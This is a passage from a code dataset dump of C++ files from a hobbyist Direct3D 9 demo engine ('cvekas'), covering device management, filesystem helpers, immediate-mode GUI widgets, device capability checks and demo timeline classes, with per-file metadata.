subversion % build));\r\n}\r\n\r\nVideoDevice::~VideoDevice()\r\n{\r\n\tsafeRelease(default_rt);\r\n\tsafeRelease(default_ds);\r\n\r\n\t// TODO: warn if shared_ptrs about to be resetted have refcount > 1\r\n\teffect_manager.reset();\r\n\tgpu_buffer_manager.reset();\r\n\ttexture_manager.reset();\r\n\r\n\tLOG(\"Releasing device\");\r\n\tintrusivePtrRelease(device);\r\n\tLOG(\"Releasing direct3d\");\r\n\tintrusivePtrRelease(direct3d);\r\n\tLOG(\"VideoDevice destroyed\");\r\n}\r\n\r\nDisplayModesPtr VideoDevice::getModes()\r\n{\r\n\t// If display_modes is not constructed yet...\r\n\tif(!bool(display_modes))\r\n\t\tdisplay_modes = DisplayModesPtr(new DisplayModes(direct3d));\r\n\r\n\treturn display_modes;\r\n}\r\n\r\nDeviceCapsPtr VideoDevice::getCaps(D3DDEVTYPE device_type)\r\n{\r\n\t// If caps is not filled...\r\n\tif(!bool(device_caps))\r\n\t\tdevice_caps = DeviceCapsPtr(new DeviceCaps(direct3d, device_type));\r\n\r\n\t// Or filled for wrong device type...\r\n\tif(device_caps->device_type != device_type)\r\n\t{\r\n\t\tdevice_caps.reset();\r\n\t\tdevice_caps = DeviceCapsPtr(new DeviceCaps(direct3d, device_type));\r\n\t}\r\n\treturn device_caps;\r\n}\r\n\r\nvoid VideoDevice::init(WindowPtr window)\r\n{\r\n\tLOG(\"Creating device...\");\r\n\t\r\n\tthis->window = window;\r\n\t\r\n\tsetUpParams();\r\n\r\n\tVideoSettings& settings = getSettings();\r\n\r\n\tD3DDEVTYPE device_type = settings.getRenderer();\r\n\tDWORD behavior = settings.getVertexProcessing();\r\n\t\r\n\tIDirect3DDevice9* dummy_device;\r\n\tE_E(direct3d->CreateDevice(D3DADAPTER_DEFAULT, device_type, window->getHandle(), behavior, &params, &dummy_device));\r\n\tdevice = dummy_device;\r\n\r\n\ttexture_manager = TextureManagerPtr(new TextureManager(device));\r\n\tgpu_buffer_manager = GpuBufferManagerPtr(new GpuBufferManager(device));\r\n\teffect_manager = EffectManagerPtr(new EffectManager(device));\r\n\r\n\tE_E(device->GetRenderTarget(0, &default_rt));\r\n\tE_E(device->GetDepthStencilSurface(&default_ds));\r\n\r\n\tviewport.X = 0;\r\n\tviewport.Y = 0;\r\n\tviewport.Width = settings[\"ScreenWidth\"];\r\n\tviewport.Height = settings[\"ScreenWidth\"];\r\n\tviewport.MinZ = 0.0f;\r\n\tviewport.MaxZ = 1.0f;\r\n\r\n\t//device->ShowCursor(false);\r\n\r\n\tLOG(\"Device successfully created\");\r\n}\r\n\r\nVideoSettings& VideoDevice::getSettings() \r\n{ \r\n\tEngine e; \r\n\treturn static_cast<VideoSettings&>((*e.getSettings())[\"video\"]); \r\n};\r\n\r\nvoid VideoDevice::setClearColor(const Color& color)\r\n{\r\n\tclear_color = (D3DXCOLOR)color;\r\n}\r\n\r\nvoid VideoDevice::getViewport(uint& width, uint& height)\r\n{\r\n\twidth = viewport.Width;\r\n\theight = viewport.Height;\r\n}\r\n\r\nvoid VideoDevice::switchMode()\r\n{\r\n\t// TODO: don't switch modes if settings not changed\r\n\r\n\tif(in_scene_block)\r\n\t{\r\n\t\tswitch_mode = true;\r\n\t\treturn;\r\n\t}\r\n\r\n\t// TODO: Print from/to mode names\r\n\tLOG(\"Switching screen mode\");\r\n\r\n\treset();\r\n\twindow->switchMode();\r\n\r\n\tswitch_mode = false;\r\n}\r\n\r\nbool VideoDevice::ensureDevice()\r\n{\r\n\tHRESULT device_state = device->TestCooperativeLevel();\r\n\r\n\tif(D3D_OK == device_state)\r\n\t\treturn true;\r\n\r\n\tif(D3DERR_DRIVERINTERNALERROR == device_state)\r\n\t{\r\n\t\tthrow EXCEPTION(\"Internal driver error! Quitting application\");\r\n\t}\r\n\r\n\tif(D3DERR_DEVICELOST == device_state)\r\n\t{\r\n\t\tif(!lost)\r\n\t\t{\r\n\t\t\tlost = true;\r\n\t\t\tdeviceLost();\r\n\t\t}\r\n\t}\r\n\r\n\tif(D3DERR_DEVICENOTRESET == device_state)\r\n\t{\r\n\t\treset();\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nvoid VideoDevice::beginScene(bool clear_color, bool clear_depth, bool clear_stencil, \r\n\t\t\t\t\t\t\t RenderTargetPtr render_target)\r\n{\r\n\tif(in_scene_block)\r\n\t\tthrow EXCEPTION(\"Already inside scene!\");\r\n\tin_scene_block = true;\r\n\r\n\tif(frame_ended)\r\n\t{\r\n\t\tframe_ended = false;\r\n\t\trendering_params.setPerFrame(float(Timer::getTimeMs()) / 1000.0f);\r\n\t}\r\n\r\n\tDWORD flags = 0;\r\n\tif(clear_color)\r\n\t\tflags |= D3DCLEAR_TARGET;\r\n\tif(clear_depth)\r\n\t\tflags |= D3DCLEAR_ZBUFFER;\r\n\tif(clear_stencil)\r\n\t\tflags |= D3DCLEAR_STENCIL;\r\n\r\n\tstatic bool disabled_depth = false;\r\n\r\n\tif(bool(render_target))\r\n\t{\r\n\t\tE_E(device->SetRenderTarget(0, render_target->getD3DSurface()));\r\n\t\tE_E(device->Clear(0, NULL, flags, this->clear_color, 1.0f, 0));\r\n\t\t\r\n\t\tconst D3DSURFACE_DESC& desc = render_target->getTopLevelDescription();\r\n\t\t\r\n\t\tfloat width = float(desc.Width);\r\n\t\tfloat height = float(desc.Height);\r\n\r\n\t\t// TODO: Fix this\r\n\t\t// Disable depth buffer if bigger than screen\r\n\t\tD3DSURFACE_DESC depth_desc;\r\n\t\tE_E(default_ds->GetDesc(&depth_desc));\r\n\t\tif(depth_desc.Width < desc.Width || depth_desc.Height < desc.Height)\r\n\t\t{\r\n\t\t\tif(!disabled_depth)\r\n\t\t\t{\r\n\t\t\t\tE_E(device->SetDepthStencilSurface(NULL));\r\n\t\t\t\tdisabled_depth = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(disabled_depth)\r\n\t\t\t{\r\n\t\t\t\tE_E(device->SetDepthStencilSurface(default_ds));\r\n\t\t\t\tdisabled_depth = false;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\trendering_params.setPerScene(projection_matrix, Vector2(width, height));\r\n\t}\r\n\telse\r\n\t{\r\n\t\tif(disabled_depth)\r\n\t\t{\r\n\t\t\tE_E(device->SetDepthStencilSurface(default_ds));\r\n\t\t\tdisabled_depth = false;\r\n\t\t}\r\n\t\tE_E(device->SetRenderTarget(0, default_rt));\r\n\t\tE_E(device->Clear(0, NULL, flags, this->clear_color, 1.0f, 0));\r\n\t\tE_E(device->SetViewport(&viewport));\r\n\r\n\t\tfloat width = float(params.BackBufferWidth);\r\n\t\tfloat height = float(params.BackBufferHeight);\r\n\r\n\t\trendering_params.setPerScene(projection_matrix, Vector2(width, height));\r\n\t}\r\n\r\n\tE_E(device->BeginScene());\r\n}\r\n\r\nvoid VideoDevice::endScene()\r\n{\r\n\tif(!in_scene_block)\r\n\t\tthrow EXCEPTION(\"Not in scene!\");\r\n\tin_scene_block = false;\r\n\r\n\tE_E(device->EndScene());\r\n\r\n\tIDirect3DSurface9* rt;\r\n\r\n\tE_E(device->GetRenderTarget(0, &rt));\r\n\tif(rt == default_rt)\r\n\t{\r\n\t\tE_E(device->Present(NULL, NULL, NULL, NULL));\r\n\t\tframe_ended = true;\r\n\r\n\t\tif(switch_mode)\r\n\t\t{\r\n\t\t\tsafeRelease(rt);\r\n\t\t\tswitchMode();\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\tsafeRelease(rt);\r\n}\r\n\r\nTextureManagerPtr VideoDevice::getTextureManager() const\r\n{\r\n\treturn texture_manager;\r\n}\r\n\r\nGpuBufferManagerPtr VideoDevice::getGpuBufferManager() const\r\n{\r\n\treturn gpu_buffer_manager;\r\n}\r\n\r\nEffectManagerPtr VideoDevice::getEffectManager() const\r\n{\r\n\treturn effect_manager;\r\n}\r\n\r\nSpriteBatchPtr VideoDevice::createSpriteBatch(RendererPtr renderer, uint virtual_width, uint virtual_height, uint16 priority)\r\n{\r\n\treturn SpriteBatchPtr(new SpriteBatch(renderer, virtual_width, virtual_height, priority));\r\n}\r\n\r\nRendererPtr VideoDevice::createRenderer()\r\n{\r\n\treturn RendererPtr(new Renderer(device, effect_manager, gpu_buffer_manager));\r\n}\r\n\r\nvoid VideoDevice::deviceLost()\r\n{\r\n\tLOG(\"Device lost.\");\r\n\tLOG(\"Notifying TextureManager\");\r\n\ttexture_manager->onDeviceLost();\r\n\tLOG(\"Notifying GpuBufferManager\");\r\n\tgpu_buffer_manager->onDeviceLost();\r\n\tLOG(\"Notifying EffectManager\");\r\n\teffect_manager->onDeviceLost();\r\n}\r\n\r\nvoid VideoDevice::deviceReset()\r\n{\r\n\tLOG(\"Device reset.\"); \r\n\tLOG(\"Notifying TextureManager\");\r\n\ttexture_manager->onDeviceReset();\r\n\tLOG(\"Notifying GpuBufferManager\");\r\n\tgpu_buffer_manager->onDeviceReset();\r\n\tLOG(\"Notifying EffectManager\");\r\n\teffect_manager->onDeviceReset();\r\n}\r\n\r\nvoid VideoDevice::setUpParams()\r\n{\r\n\tZeroMemory(&params, sizeof(params));\r\n\r\n\tVideoSettings& settings = getSettings();\r\n\r\n\tbool fullscreen = settings[\"Fullscreen\"];\r\n\r\n\tparams.AutoDepthStencilFormat = settings.getDepthStencilFormat();\r\n\tparams.BackBufferCount = 1;\r\n\tif(fullscreen)\r\n\t\tparams.BackBufferFormat = settings.getBBufferFormat();\r\n\telse\r\n\t\tparams.BackBufferFormat = D3DFMT_UNKNOWN;\r\n\tparams.BackBufferHeight = settings[\"ScreenHeight\"];\r\n\tparams.BackBufferWidth = settings[\"ScreenWidth\"];\r\n\tparams.EnableAutoDepthStencil = true;\r\n\t//params.Flags = ???\r\n\tif(fullscreen)\r\n\t\tparams.FullScreen_RefreshRateInHz = settings[\"RefreshRate\"];\r\n\telse\r\n\t\tparams.FullScreen_RefreshRateInHz = 0;\r\n\r\n\tparams.hDeviceWindow = window->getHandle();\r\n\tparams.MultiSampleQuality = 0;\r\n\tparams.MultiSampleType = settings.getAntialiasing();\r\n\tparams.PresentationInterval = settings.getPresentInterval();\r\n\tparams.SwapEffect = D3DSWAPEFFECT_DISCARD;\r\n\tparams.Windowed = !fullscreen;\r\n}\r\n\r\nconst Matrix& VideoDevice::getProjectionMatrix() const\r\n{\r\n\tif(in_scene_block)\r\n\t\treturn rendering_params.projection;\r\n\r\n\treturn projection_matrix;\r\n}\r\n\r\nvoid VideoDevice::setAspectRatio(float ratio)\r\n{\r\n\tD3DSURFACE_DESC desc;\r\n\tE_E(default_rt->GetDesc(&desc));\r\n\tuint width = desc.Width;\r\n\tuint height = desc.Height;\r\n\r\n\tfloat current_ratio = (float)width/(float)height;\r\n\tif(FCMP(current_ratio, ratio))\r\n\t\treturn;\r\n\r\n\t// Letterbox by setting viewport\r\n\tuint new_width = width, new_height = height;\r\n\tif(current_ratio > ratio)\r\n\t\tnew_width = (uint)((float)height * (float)ratio);\r\n\tif(current_ratio < ratio)\r\n\t\tnew_height = (uint)((float)width / (float)ratio);\r\n\r\n\t//D3DVIEWPORT9 viewport;\r\n\tviewport.X = (width - new_width) / 2;\r\n\tviewport.Y = (height - new_height) / 2;\r\n\tviewport.Width = new_width;\r\n\tviewport.Height = new_height;\r\n\tviewport.MinZ = 0.0f;\r\n\tviewport.MaxZ = 1.0f;\r\n\r\n\tE_E(device->Clear(0, NULL, D3DCLEAR_TARGET, 0, 1.0f, 0));\r\n\tE_E(device->SetViewport(&viewport));\r\n}\r\n\r\nvoid VideoDevice::reset()\r\n{\r\n\tsetUpParams();\r\n\r\n\tif(!lost)\r\n\t{\r\n\t\tlost = true;\r\n\t\tdeviceLost();\r\n\t}\r\n\r\n\tsafeRelease(default_rt);\r\n\tsafeRelease(default_ds);\r\n\r\n\tLOG(\"Resetting device\");\r\n\r\n\t// HACK: Should not ignore result\r\n\tE_E(device->Reset(&params));\r\n\tdeviceReset();\r\n\tlost = false;\r\n\r\n\tE_E(device->GetRenderTarget(0, &default_rt));\r\n\tE_E(device->GetDepthStencilSurface(&default_ds));\r\n}\r\n\r\n} // namespace\r\n" }, { "alpha_fraction": 0.6457765698432922, "alphanum_fraction": 0.647593080997467, "avg_line_length": 17.696428298950195, "blob_id": "c0b7f1a93af7cdb04de9a8aa300b62ffefebca0a", "content_id": "894ae768dc1de012ef01e4e6554ed991880bf288", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1101, "license_type": "no_license", "max_line_length": 83, "num_lines": 56, "path": "/source/Filesystem.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Filesystem.h\"\r\n\r\n#include \"Exception.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nconst std::string redirect_file = \"resources.redirect\";\r\nstd::string redirection_prefix = \"\";\r\n\r\nvoid Filesystem::init()\r\n{\r\n\tif(fileExists(redirect_file))\r\n\t{\r\n\t\tstd::ifstream in(redirect_file.c_str());\r\n\t\tin >> redirection_prefix;\r\n\t}\r\n}\r\n\r\nvoid Filesystem::init(const std::string& subdir)\r\n{\r\n\tinit();\r\n\tredirection_prefix += subdir;\r\n}\r\n\r\nbool Filesystem::fileExists(const std::string& path)\r\n{\r\n\treturn (_access(path.c_str(), 0) != -1);\r\n}\r\n\r\nstd::string Filesystem::redirect(const std::string& path)\r\n{\r\n\treturn redirection_prefix + path;\r\n}\r\n\r\nstd::string Filesystem::readFileToString(const std::string& path)\r\n{\r\n\tif(!fileExists(path))\r\n\t\tthrow EXCEPTION(\"File \" + path + \" doesn't exist\");\r\n\r\n\tstd::string result, line;\r\n\tstd::ifstream in(path.c_str());\r\n\t\r\n\twhile(std::getline(in, line))\r\n\t\tresult += line + '\\n';\r\n\r\n\treturn result;\r\n}\r\n\r\nvoid Filesystem::writeStringToFile(const std::string& path, const std::string& str)\r\n{\r\n\tstd::ofstream out(path.c_str());\r\n\tout << str;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.7301255464553833, "alphanum_fraction": 0.7405857443809509, "avg_line_length": 19.432836532592773, "blob_id": "ee7fc7dfd999098d125071233c3f50103d8c98d6", "content_id": "2155fbe48e2cdf90621a01597c08937fd8725fbf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1434, "license_type": "no_license", "max_line_length": 109, "num_lines": 67, "path": "/apps/Celerity/Ribbons.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef RIBBONS_H\r\n#define RIBBONS_H\r\n\r\n#include \"Demo.h\"\r\n#include \"RenderTarget.h\"\r\n#include \"BitmapFont.h\"\r\n#include \"VectorBatch.h\"\r\n#include \"Random.h\"\r\n#include \"Camera.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass Ribbons : public TimelineSegment\r\n{\r\npublic:\r\n\tRibbons(RendererPtr renderer, VectorBatchPtr vector_batch, SpriteBatchPtr sprite_batch, BitmapFontPtr font);\r\n\t~Ribbons();\r\n\r\n\tvirtual void init(boost::weak_ptr<Demo> owner);\r\n\tvirtual void close();\r\n\t\r\n\tvirtual void update(float t);\r\n\tvirtual void render(float t);\r\n\r\nprivate:\r\n\tVector3 curve1(float t);\r\n\tVector3 curve2(float t);\r\n\tVector3 curve3(float t);\r\n\r\n\tVector3 random_point_in_sphere();\r\n\r\n\tRenderTargetPtr offscreen_target1;\r\n\tRenderTargetPtr offscreen_target2;\r\n\tRenderTargetPtr text_target;\r\n\tRendererPtr renderer;\r\n\tSpriteBatchPtr sprite_batch;\r\n\tVectorBatchPtr vector_batch;\r\n\tBitmapFontPtr font;\r\n\r\n\tVertexBufferPtr ribbons_vb;\r\n\tEffectPtr ribbons_effect;\r\n\tBatch ribbons_batch;\r\n\r\n\tIndexBufferPtr quads_ib;\r\n\tIndexBufferPtr tunnel_ib;\r\n\tVertexBufferPtr quads_vb;\r\n\tVertexBufferPtr tunnel_vb;\r\n\tBatch quads1_batch;\r\n\tBatch quads2_batch;\r\n\tBatch tunnel1_batch;\r\n\tBatch tunnel2_batch;\r\n\tEffectPtr quads_effect;\r\n\tEffectPtr tunnel_effect;\r\n\tEffectPtr default_sprite_effect;\r\n\tEffectPtr blured_sprite_effect;\r\n\tTexture2DPtr pattern1;\r\n\r\n\tRandom prng;\r\n\r\n\tSimpleCamera camera;\r\n\r\n\tstd::string text;\r\n};\r\n\r\ntypedef boost::shared_ptr<Ribbons> RibbonsPtr;\r\n\r\n#endif" }, { "alpha_fraction": 0.6615695953369141, "alphanum_fraction": 0.6694400906562805, "avg_line_length": 21.919355392456055, "blob_id": "79a2e646dd2270223ce4cbd7acd2172a42f1e99b", "content_id": "d228c8c3815f7e67aaf0eb6c9a37f8625a4d43f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4447, "license_type": "no_license", "max_line_length": 106, "num_lines": 186, "path": "/source/GUI.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"GUI.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nGUI::GUI(GUIStylePtr gui_style, InputPtr input)\r\n: gui_style(gui_style), input(input), presented(true)\r\n{\r\n}\r\n\r\nGUI::~GUI()\r\n{\r\n}\r\n\r\nvoid GUI::doLabel(const Vector2& pos, const std::string& text)\r\n{\r\n\tbeginWidget();\r\n\r\n\tgui_style->drawLabel(pos, text);\r\n}\r\n\r\nbool GUI::doButton(const Vector2& pos, const std::string& text)\r\n{\r\n\tbeginWidget();\r\n\r\n\t//uint id = hashWidget(WIDGET_BUTTON, pos);\r\n\tbool mouse_over = gui_style->hitButton(pos, text);\r\n\tgui_style->drawButton(pos, text, mouse_over, input->getMouse()->isButtonPressed(Mouse::BTN_LEFT));\r\n\r\n\tif(mouse_over && input->getMouse()->isButtonUp(Mouse::BTN_LEFT))\r\n\t\treturn true;\r\n\treturn false;\r\n}\r\n\r\nbool GUI::doSwitch(const Vector2& pos, const std::string& text)\r\n{\r\n\tbeginWidget();\r\n\r\n\tuint id = hashWidget(WIDGET_BUTTON, pos);\r\n\t\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tWidgetState temp_state;\r\n\t\ttemp_state.switch_state = false;\r\n\t\tcache.set(temp_state, id);\r\n\t}\r\n\t\r\n\tWidgetState& state = cache.at(id);\r\n\r\n\tbool mouse_over = gui_style->hitSwitch(pos, text);\r\n\tgui_style->drawSwitch(pos, text, mouse_over, state.switch_state);\r\n\r\n\tif(mouse_over && input->getMouse()->isButtonUp(Mouse::BTN_LEFT))\r\n\t\tstate.switch_state = !state.switch_state;\r\n\r\n\treturn state.switch_state;\r\n}\r\n\r\nfloat GUI::doSlider(const Vector2& pos)\r\n{\r\n\tbeginWidget();\r\n\r\n\tuint id = hashWidget(WIDGET_SLIDER, pos);\r\n\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tWidgetState temp_state;\r\n\t\ttemp_state.slider_state = 0.5f;\r\n\t\tcache.set(temp_state, id);\r\n\t}\r\n\t\r\n\tWidgetState& state = cache.at(id);\r\n\r\n\tfloat mouse_over = gui_style->hitSlider(pos);\r\n\tgui_style->drawSlider(pos, mouse_over > 0.0f, state.slider_state);\r\n\r\n\tif(mouse_over > 0.0f && input->getMouse()->isButtonPressed(Mouse::BTN_LEFT))\r\n\t\tstate.slider_state = mouse_over;\r\n\r\n\treturn state.slider_state;\r\n}\r\n\r\nuint GUI::doSelector(const Vector2& pos, const std::vector<std::string>& selections)\r\n{\r\n\tbeginWidget();\r\n\r\n\tuint id = hashWidget(WIDGET_SELECTOR, pos);\r\n\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tWidgetState temp_state;\r\n\t\ttemp_state.selector_state = 0;\r\n\t\tcache.set(temp_state, id);\r\n\t}\r\n\r\n\tWidgetState& state = cache.at(id);\r\n\t\r\n\tassert(state.selector_state < selections.size());\r\n\r\n\tuint button;\r\n\tbool mouse_over = gui_style->hitSelector(pos, selections, button);\r\n\tgui_style->drawSelector(pos, selections, state.selector_state, mouse_over, \r\n\t\tbutton == 1, button == 2, input->getMouse()->isButtonPressed(Mouse::BTN_LEFT));\r\n\r\n\t// TODO: implement autorepeat\r\n\tif((button == 1) && input->getMouse()->isButtonUp(Mouse::BTN_LEFT))\r\n\t\tstate.selector_state = (state.selector_state == 0 ? selections.size() - 1 : state.selector_state - 1);\r\n\tif((button == 2) && input->getMouse()->isButtonUp(Mouse::BTN_LEFT))\r\n\t\tstate.selector_state = (state.selector_state == (selections.size() - 1) ? 0 : state.selector_state + 1);\r\n\r\n\treturn state.selector_state;\r\n}\r\n\r\nbool GUI::getSwitchState(const Vector2& pos)\r\n{\r\n\tuint id = hashWidget(WIDGET_BUTTON, pos);\r\n\treturn cache.at(id).switch_state;\r\n}\r\n\r\nfloat GUI::getSliderState(const Vector2& pos)\r\n{\r\n\tuint id = hashWidget(WIDGET_SLIDER, pos);\r\n\treturn cache.at(id).slider_state;\r\n}\r\n\r\nuint GUI::getSelectorState(const Vector2& pos)\r\n{\r\n\tuint id = hashWidget(WIDGET_SELECTOR, pos);\r\n\treturn cache.at(id).selector_state;\r\n}\r\n\r\nvoid GUI::setSwitchState(const Vector2& pos, bool state)\r\n{\r\n\tuint id = hashWidget(WIDGET_BUTTON, pos);\r\n\tWidgetState dummy;\r\n\tdummy.switch_state = state;\r\n\tcache.set(dummy, id);\r\n}\r\n\r\nvoid GUI::setSliderState(const Vector2& pos, float state)\r\n{\r\n\tuint id = hashWidget(WIDGET_SLIDER, pos);\r\n\tWidgetState dummy;\r\n\tdummy.slider_state = state;\r\n\tcache.set(dummy, id);\r\n}\r\n\r\nvoid GUI::setSelectorState(const Vector2& pos, uint state)\r\n{\r\n\tuint id = hashWidget(WIDGET_SELECTOR, pos);\r\n\tWidgetState dummy;\r\n\tdummy.selector_state = state;\r\n\tcache.set(dummy, id);\r\n}\r\n\r\nvoid GUI::present()\r\n{\r\n\tif(presented)\r\n\t\tbeginWidget();\r\n\telse\r\n\t\tpresented = true;\r\n\tgui_style->endFrame();\r\n}\r\n\r\nuint GUI::hashWidget(WidgetType type, const Vector2& pos)\r\n{\r\n\tsize_t seed = 75621;\r\n\tboost::hash_combine(seed, (uint)type);\r\n\tboost::hash_combine(seed, pos.x);\r\n\tboost::hash_combine(seed, pos.y);\r\n\r\n\treturn (uint)seed;\r\n}\r\n\r\nvoid GUI::beginWidget()\r\n{\r\n\tif(presented)\r\n\t{\r\n\t\tMousePos mouse_pos = input->getMouse()->getAbsolutePos();\r\n\t\tVector2 mouse_posf((float)mouse_pos.x, (float)mouse_pos.y);\r\n\t\tgui_style->setMousePos(mouse_posf);\r\n\t\tpresented = false;\r\n\t}\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6434468626976013, "alphanum_fraction": 0.6940144300460815, "avg_line_length": 24.59722137451172, "blob_id": "cee2f8185aa0845947afedf03931eafbd3e8ae4f", "content_id": "af501471b5e655f5e96ca5f95b9147287d9725ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1938, "license_type": "no_license", "max_line_length": 83, "num_lines": 72, "path": "/source/DeviceCaps.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"DeviceCaps.h\"\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"ErrorHandlers.h\"\r\n#include \"MemUtils.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nconst D3DCAPS9& DeviceCaps::getD3DCaps()\r\n{\r\n\treturn caps;\r\n}\r\n\r\nD3DDEVTYPE DeviceCaps::getDeviceType()\r\n{\r\n\treturn device_type;\r\n}\r\n\r\nDeviceCaps::PShaderVersion DeviceCaps::getPSVersion()\r\n{\r\n\treturn ps_version;\r\n}\r\n\r\nDeviceCaps::VShaderVersion DeviceCaps::getVSVersion()\r\n{\r\n\treturn vs_version;\r\n}\r\n\r\nuint DeviceCaps::getMRTCount()\r\n{\r\n\treturn mrt_count;\r\n}\r\n\r\nbool DeviceCaps::supportFloatRT()\r\n{\r\n\treturn fp_rt_support;\r\n}\r\n\r\nDeviceCaps::DeviceCaps(D3DPtr d3d, D3DDEVTYPE device_type)\r\n: d3d(d3d), device_type(device_type)\r\n{\r\n\t// TODO: output most imporant caps info to log\r\n\r\n\tE_E(d3d->GetDeviceCaps(D3DADAPTER_DEFAULT, device_type, &caps));\r\n\r\n\t// Pixel shader\r\n\tif(caps.PixelShaderVersion >= D3DPS_VERSION(3, 0)) ps_version = ps3_0;\r\n\telse if(caps.PixelShaderVersion >= D3DPS_VERSION(2, 0)) ps_version = ps2_0;\r\n\telse if(caps.PixelShaderVersion >= D3DPS_VERSION(1, 4)) ps_version = ps1_4;\r\n\telse if(caps.PixelShaderVersion >= D3DPS_VERSION(1, 1)) ps_version = ps1_1;\r\n\telse ps_version = no_ps;\r\n\r\n\t// Vertex shader\r\n\tif(caps.VertexShaderVersion >= D3DVS_VERSION(3, 0)) vs_version = vs3_0;\r\n\telse if(caps.VertexShaderVersion >= D3DVS_VERSION(2, 0)) vs_version = vs2_0;\r\n\telse if(caps.VertexShaderVersion >= D3DVS_VERSION(1, 1)) vs_version = vs1_1;\r\n\telse vs_version = no_vs;\r\n\r\n\t// MRT\r\n\tmrt_count = caps.NumSimultaneousRTs;\r\n\r\n\t// FP rendertargets\r\n\tbool r32f = E_B(d3d->CheckDeviceFormat(D3DADAPTER_DEFAULT, device_type, \r\n\t\tD3DFMT_X8R8G8B8, D3DUSAGE_RENDERTARGET, D3DRTYPE_TEXTURE, D3DFMT_R32F));\r\n\tbool a16b16g16r16f = E_B(d3d->CheckDeviceFormat(D3DADAPTER_DEFAULT, device_type, \r\n\t\tD3DFMT_X8R8G8B8, D3DUSAGE_RENDERTARGET, D3DRTYPE_TEXTURE, D3DFMT_A16B16G16R16F));\r\n\r\n\tfp_rt_support = ps_version >= ps2_0 && r32f && a16b16g16r16f;\r\n}\r\n\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\t\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.6771410703659058, "alphanum_fraction": 0.6802217960357666, "avg_line_length": 17.345237731933594, "blob_id": "c14f57ffc498e26591f4d653c069c038790629e3", "content_id": "caf0fd4aab42efb9d34db0485d51ede3d98630a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1623, "license_type": "no_license", "max_line_length": 77, "num_lines": 84, "path": "/apps/Delirium/Demo.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef DEMO_H\r\n#define DEMO_H\r\n\r\n#include \"Sound.h\"\r\n#include \"Engine.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass Demo;\r\n\r\nclass TimelineSegment\r\n{\r\npublic:\r\n\tTimelineSegment() { Engine e; video_device = e.getVideoDevice(); };\r\n\tvirtual ~TimelineSegment() {};\r\n\r\n\tvirtual void init(boost::weak_ptr<Demo> owner) = 0;\r\n\tvirtual void close() = 0;\r\n\tvirtual void update(float t) {};\r\n\tvirtual void render(float t) {};\r\n\r\nprotected:\r\n\tboost::weak_ptr<Demo> owner;\r\n\tVideoDevicePtr video_device;\r\n};\r\n\r\ntypedef boost::shared_ptr<TimelineSegment> TimelineSegmentPtr;\r\n\r\nclass Demo : public boost::enable_shared_from_this<Demo>\r\n{\r\npublic:\r\n\tDemo(SoundPtr soundtrack);\r\n\tvirtual ~Demo();\r\n\r\n\tvoid add(int priority, float start, float end, TimelineSegmentPtr segment);\r\n\tvoid seal();\r\n\t\t\r\n\tfloat getTime();\r\n\tvoid setTime(float t);\r\n\r\n\tfloat getCurrentSegmentLength();\r\n\r\n\tvoid pause();\r\n\tvoid play();\r\n\r\n\tbool update();\r\n\tbool render();\r\n\r\nprivate:\r\n\t\r\n\tstruct DemoSegment\r\n\t{\r\n\t\tint priority;\r\n\t\tfloat start, end;\r\n\t\tTimelineSegmentPtr segment;\r\n\r\n\t\tbool operator<(const DemoSegment& s) const\r\n\t\t{\r\n\t\t\treturn start < s.start;\r\n\t\t}\r\n\t};\r\n\r\n\tfloat start_time;\r\n\tstatic const uint max_active_segments = 8;\r\n\r\n\tuint gatherActiveSegments(float t, DemoSegment out[]);\r\n\tstatic bool comparePriorities(const DemoSegment& s1, const DemoSegment& s2);\r\n\t\r\n\tstd::vector<DemoSegment> segments;\r\n\tfloat time;\r\n\tfloat last_gather;\r\n\tfloat current_segment_length;\r\n\r\n\tSoundPtr soundtrack;\r\n};\r\n\r\ntypedef boost::shared_ptr<Demo> DemoPtr;\r\n\r\ninline float transformT(float start, float end, float t)\r\n{\r\n\treturn (t - start) / (end - start);\r\n}\r\n\r\n#endif" }, { "alpha_fraction": 0.6996337175369263, "alphanum_fraction": 0.6996337175369263, "avg_line_length": 12.810811042785645, "blob_id": "ca4253499b1c495ee893f29ba03092fecc873139", "content_id": "f2dabfd4b2fe91bf089601270c8bd792654d5094", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 546, "license_type": "no_license", "max_line_length": 41, "num_lines": 37, "path": "/source/Engine.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Engine.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nVideoDevicePtr Engine::video_device;\r\nSoundManagerPtr Engine::sound_manager;\r\nInputPtr Engine::input;\r\nGUIPtr Engine::gui;\r\nSettingsPtr Engine::settings;\r\n\r\nVideoDevicePtr Engine::getVideoDevice()\r\n{\r\n\treturn 